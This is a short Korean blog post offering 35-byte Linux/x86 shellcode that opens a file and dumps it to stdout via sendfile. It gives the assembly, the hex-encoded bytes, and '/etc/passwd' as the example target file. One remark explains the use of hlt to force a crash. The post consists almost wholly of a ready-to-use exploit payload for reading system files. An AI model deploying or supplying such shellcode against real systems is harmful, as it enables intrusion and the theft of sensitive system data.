카테고리 없음

35byte Linux/x86 read file shellcode (using sendfile)

진모씨 2014. 6. 17. 18:12

jmp a

b:

pop ebx

xor ecx, ecx

xor edx, edx

lea eax, [ecx+5]

int 0x80

mov ecx, eax

xor eax, eax

mov al, 187

lea ebx, [edx+1]

mov si, 65535

int 0x80

hlt

a:

call b

"여기다가 문자열 넣기"


hlt를 쓴 이유는 무한루프를 막기 위해 크래시라도 내고싶었기 때문이다.

"\xEB\x1A\x5B\x31\xC9\x31\xD2\x8D\x41\x05\xCD\x80\x89\xC1\x31\xC0\xB0\xBB\x8D\x5A\x01\x66\xBE\xFF\xFF\xCD\x80\xF4\xE8\xE1\xFF\xFF\xFF" + "/etc/passwd"